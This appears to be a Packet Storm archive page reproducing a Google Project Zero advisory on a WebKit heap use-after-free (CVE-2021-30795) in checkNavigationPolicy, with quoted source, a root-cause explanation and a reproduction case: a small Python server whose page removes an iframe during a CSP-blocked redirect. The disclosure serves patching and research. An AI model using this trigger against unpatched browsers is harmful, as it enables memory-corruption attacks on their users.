exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free

WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free
Posted Aug 19, 2021
Authored by Google Security Research, Glazvunov

WebKit suffers from a heap use-after-free vulnerability in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy.

tags | exploit
advisories | CVE-2021-30795
SHA-256 | 3bbacfe61c3afe8fcb813221566bd0ea237ec718789ecbd4ffc4394dbe1d0f85

WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free

Change Mirror Download
WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy

VULNERABILITY DETAILS
PolicyChecker.cpp:
```
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)
[...]
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)
{
[...]
if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {
if (m_frame.ownerElement()) {
// Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise
// reveal that the frame was blocked. This way, it looks like any other cross-origin page load.
m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));
}
RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");
function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);
return;
}
```

FrameLoader.cpp:
```
[...]
Optional<PageIdentifier> FrameLoader::pageID() const
{
return client().pageID();
}
```

FrameLoaderClient.h:
```
class WEBCORE_EXPORT FrameLoaderClient {
[...]
virtual Optional<PageIdentifier> pageID() const = 0;
virtual Optional<FrameIdentifier> frameID() const = 0;
}
```


`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.


REPRODUCTION CASE
Visit http://localhost:8000/
```
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

html_source = b'''
<body>
<script>
frame = document.createElement('iframe');
frame.onload = () => frame.remove();
frame.src = '/redirect';
document.body.appendChild(frame);
</script>
</body>
'''

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/redirect':
self.send_response(302)
self.send_header('Location', 'http://example.com/')
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Security-Policy', 'frame-src localhost:8000')
self.end_headers()
self.wfile.write(html_source)

HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()
```


VERSION
WebKit r277716
Safari 14.1 (16611.1.21.161.6)


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-08-24.


Related CVE Numbers: CVE-2021-30795.



Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close